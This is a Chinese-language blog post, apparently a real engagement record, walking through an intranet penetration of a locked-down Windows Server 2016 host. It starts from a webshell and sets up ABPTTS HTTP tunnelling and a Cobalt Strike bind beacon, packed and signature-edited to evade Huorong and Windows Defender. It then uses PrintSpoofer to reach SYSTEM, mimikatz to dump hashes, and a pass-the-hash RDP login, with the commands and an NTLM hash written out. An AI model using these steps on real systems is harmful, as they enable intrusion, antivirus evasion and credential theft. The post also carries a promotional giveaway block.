如何用内网渗透突破安全策略

Posted 2021-12-02 kali_Ma

前言

本文为一篇利用非常规手段突破安全策略的内网渗透记录

环境简述&说明

• web打点getshell，webshell是冰蝎，权限为.net，权限很低，服务器为server 2016，目标不出网！

• 装有杀毒软件（火绒、微软自带的WD），ASMI默认开启，而且对power shell有特殊策略限制。

• Tcp、icmp、DNS协议不通，无法直接与公网的cs服务端建立连接，（内网的cs服务端也无法与其建立连接）公网也无法访问目标web服务（纯内网web服务）
• 极其严格的出入站策略
  入站规则：只有http允许入站，只有一个80、8080两http端口能供内网机器正常访问
  出站规则：不允许非8080端口对外通讯。
  手绘了一张拓扑图，将就着看一下。

为了感谢广大读者伙伴的支持，准备了以下福利给到大家：
【一>所有资源获取<一】
1、200多本网络安全系列电子书（该有的都有了）
2、全套工具包（最全中文版，想用哪个用哪个）
3、100份src源码技术文档（项目学习不停，实践得真知）
4、网络安全基础入门、Linux、web安全、攻防方面的视频（2021最新版）
5、网络安全学习路线（告别不入流的学习）
6、ctf夺旗赛解析（题目解析实战操作）

为什么要上线cs

webshell权限太低，限制性大，需要上线cs提权，因为cs是采用反射dll来加载pe程序，从而在执行一些敏感操作的时候能起到一定的bypass作用，例如mimikatz抓密码等操作。
像转储LSA到本地然后再dumphash都是行不通的，因为webshell权限太低了，转储LSA至少得管理员权限。
而且目标网络环境较为苛刻，任何非http协议的通讯都会被防火墙拦截，无法正常建立一个具有交互功能的shell。

坑点一：利用Pystinger反向代理上线cs

在查阅相关资料后，发现网上大部分文章都通过Pystinger来实现内网反向代理，利用http协议将目标机器端口映射至cs服务端监听端口，能在只能访问web服务且不出网的情况下可以使其上线cs。
但是这里有个问题，公网cs服务器无法访问目标的web服务，只有同处于在一个内网的机器才能访问目标web服务，所以无法直接在服务器上搭建pystinger将目标机端口反向代理至公网cs监听端口上。
这里采用的解决方法是直接在本机上搭建一个cs服务，然后再进行pystinger反代操作。

1. 本地起一个cs服务

2. 常规配置reserver型监听器，监听端口60020
3. proxy.aspx上传至目标服务器，访问：

4.stinger_server.exe 上传到目标服务器，执行命令：

start D:\\stinger_server.exe 0.0.0.0

5.跳板机本地执行命令：

stinger_client -w http://10.1.1.1:8080/2.aspx-l 0.0.0.0 -p 4002

6.免杀处理一下resever_bind，上传至目标并执行不上线，执行一下tasklist发现shell.exe已经执行了，就是不上线，pystinger报错。

最后的结果是，报错，具体原因不知道，可能是目标web环境有问题，可能是reserver型shell通讯有问题。
遂Pystinger反代上线cs失败。

坑点二：正向代理+正向shell上线公网CS

既然反向代理行不通，那就用正向代理，然后采用正向shell来连接。
目标机器不出网，本机能出网，可通过本机当作跳板机将目标机器的正向shell带出来。
原理图：

常见的http隧道工具Neo-reGeorg、reGeorg（应该这两款用的比较多）能适用于大多数网络环境，但是在这里就是不行，会出现跳板机直接与cs服务器断开的情况，而cs的connect正向连接请求是由跳板机的beacon发出的，你只能将beacon代理进socks隧道才能使connect请求能连接正向shell的监听端口，但因为目标机不出网，在跳板机的beacon进入代理隧道之后是无法连接到处于公网的cs服务端的，所以只能是端口对端口映射，而不能用http协议搭建的socks隧道（我猜的）。

所以这里将使用ABPTTS进行http隧道搭建。

• ABPTTS优点
  对抗特征检测十分优秀
  创建的隧道十分稳定

1、 配置abptts：

python abpttsfactory.py -o server \\\\生成服务端脚本，初始化。

2、 上传server脚本到目标机器

坑点三：文件上传

这个地方冰蝎、大马都传文件传不上去，只能用哥斯拉的大文件上传把abptts.aspx传了上去（后面exe的上传也是用的哥斯拉的大文件上传功能）exe文件落地也是个坑，在正常环境中，我们可以用certutil、powershell等方法下载exe到目标上，但是这台机器他不出网，因为出站规则的原因，甚至都无法访问内网中其他机器的web服务器，最后用哥斯拉的大文件上传解决了这个问题。

上传完成之后的abptts.aspx地址：http://10.1.1.1:8080/abptts.aspx
访问一下abptts.aspx，页面回显一长串密文说明abptts客户端正常

3、 启动http隧道

Python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f 127.0.0.1:7777/127.0.0.1:1111

这里的127.0.0.1:7777是本机端口，127.0.0.1:1111是目标机的端口
意思是将目标机的1111端口通过http隧道映射至本机的7777端口，你向本地的7777端口发送的请求都将转发至目标机的1111端口。

坑点四：正向Bind免杀

Cs的正向shell介绍（beacon tcp）

正向shell的作用原理是，bind在目标机器上开放一个监听端口，等待其他主机来访问这个监听端口，子Beacon从父Beacon接受请求，而不是直接与cs服务端通讯。
而反向shell则是，由目标发起请求访问cs服务端的监听端口

1. 创建一个正向监听器：
   

2. 生成正向载荷（在生成正向载荷的时候只能选择stageless Beacon ）：
   

为什么使用正向shell：

假若目标机器的出站规则十分严格且目标也不出网，反向shell在这种情况下则无法正常与cs服务端保持通讯。
假若采用正向shell的话，在无论他的入站规则多严格，他也不会去阻止本地端口之间的通讯，这样就能绕过严格的出入站规则策略。

• 通讯过程：
  Cs服务端（公网）–> 跳板机（父baecon）–> 7777端口–> 目标8080端口（http隧道）–> 目标1111端口（子baecon）
  

• Bypass分析
  在目标机的防火墙眼中是本地的8080端口与本地的1111端口通讯，而攻击机与目标的8080端口则是正常被允许的交互行为，从而bypass了出入站策略。

正向Bind免杀

上面有提到过目标上有火绒和WD两款杀毒，直接上传正向shell肯定是会被秒杀的，本地测试报毒。

Reserver_Bind免杀较为简单，直接生成shellcode，通过分离免杀等方法加载shellcode。
但是正向shell不能生成shellcode，它属于stageless型Beacon，而stageless型Beacon无法生成shellcode，所以无法通过常规的分离式免杀来绕过杀毒。

• 提一下stager与stagerless的区别：
  stager和stagerless型beacon

• Stager型：只包含简单的加载逻辑部分，stager通过将c2的payload加载进内存从而实现pe加载，这种加载方式也就是反射型DLL加载。

• Stagerless型：stager+payload全写死在木马中，相比较于Stager型体积更大，特征码更明显。
  由下图可以看到，在生成payload的时候没有正向bind监听器这个选项，只有Reserver监听器选项。
  

  既然无法通过混淆加载器的方法来免杀，那就加强壳+定位特征码的方法来免杀。
  国内大部分杀软估计都是基于模糊hash算法的特征码查杀，对代码层强混淆几乎就能绕过大部分杀毒，强壳（ASPack、upx、Safengine、VMPoject，实测Aspack、upx效果不是很好）。
  主要用到的工具：VirTest5.0+ Resource Hacker +SafengineShielden+upx

• VirTest5.0：
  自动化定位特征码，因为不会汇编，所以就直接用010Editor修改特征码的十六进制来破环特征码。
  

  其他修改特征码的方法: 替换汇编函数、调换指令顺序、置零跳转。
  注意：在修改完特征码之后，要测试exe还能不能正常运行。

• SafengineShielden
  反LPK注入、反调试器附加、反内存转储选上，复杂度拉满，虚拟机检测不要打勾。
  

  最后加一层upx壳(upx壳视情况而定，有时候加了upx壳反而会被杀)，Resource Hacker加入一个任意图标文件，成功过掉火绒。

目标机运行正向shell

上传正向bind，在冰蝎上执行 D:/beacon_se.exe，可以看到木马在目标机上开启了1111端口，我们通过http隧道去连接这个位于目标机1111端口上的正向bind。

本机（跳板）正向连接shell

本机（攻击者）上线cs作为跳板机，然后在本机shell中执行

connect 127.0.0.1 7777

成功正向上线 10.1.1.1，但是上线的shell权限极低，mimikatz无法运行，因为正向shell的原因，就算提权成功也无法直接反弹shell，而且因为目标系统是2016，插件中的常见提权脚本都会提权失败。

PrintSpoofer提权

上传PrintSpoofer.exe至目标主机。

执行如下命令，以system的权限运行我的正向shell，那么我将得到一个system权限的shell，而不是asp的低权限shell。

C:\\Windows\\Temp\\PrintSpoofer -c D:/1111_se.exe

Netstat -ano确认一下有没有在本地开放一个1111端口。

正向shell正常运行，跳板机再次连接正向bind。

connect 127.0.0.1 7777

成功提权，渗透至此已基本结束战斗，得到一个system权限的正向shell，mimikatz抓密码，无明文，但能拿到hash。

绕过杀毒添加用户&&登录桌面

Net1改名添加用户，报错，必然是被火绒拦截了，上杀器直接驱动层干杀软。

本地实验能干掉，但是不知道为什么在目标上就实现不了。
换思路：火绒、360等国内杀毒拦截添加用户命令往往只针对net、net1这俩进程，并没有hook底层函数，所以我们只需要不去执行net、net1而去直接调用底层函数就能绕过杀毒的监控。
原理不去深度刨析了
sekurlsa::pth /user:Administrator /domain:用户名 /ntlm:194f34439dd27846db00c6723036da6b "/run:mstsc.exe /restrictedadmin"194f34439dd27846db00c6723036da6b

Hash传递的好处就是，动静更小，不需要新建用户，留下的痕迹更少，降低攻击者被发现的概率。
如下图

跟上面操作一样，把对方的3389端口反向代理至本地，连接之。

最后附上登录的桌面的截图，登上来就是一个backstab的报错，这刚好就解释了之前在干火绒的时候，为什么没有kill成功（因为程序兼容性问题导致崩溃了）。

结尾

总结一下整个渗透过程中有趣的几个点，整个流程大概花了两天的时间，主要是有几个地方踩坑了。

1. 第一点：写http隧道马的时候，用哥斯拉直接编辑新建一个隧道马，但是连接的时候报错，可能是哥斯拉出现了数据断流，导致写进去的文件缺东西了，后来直接把隧道马传上去就不报错了。

2. 第二点：网上的例子大多数都用pystinger反代cs服务端来处理这种不出网上线cs的情况，但是可能因为目标网络环境的不一样导致各种玄学报错，所以Pystinger的局限性还是很大的，而且Pystinger客户端还不免杀。

3. 第三点：正向shell免杀，不多说的，cs的无阶段木马都是这样，无法通过混淆加载器的方法免杀。

4. 第四点：正向shell的提权，cs插件提权只能反弹一个反射型的shell，无法反弹正向shell。

5. 第五点：有趣的是，无阶段木马是能生成powershell脚本的，而powershell脚本是很好混淆免杀的，但是目标是server2016，默认开启AMSI，混淆免杀在它面前形同虚设。（要是目标是2012、2008系统就可以通过powershell正向bind上线）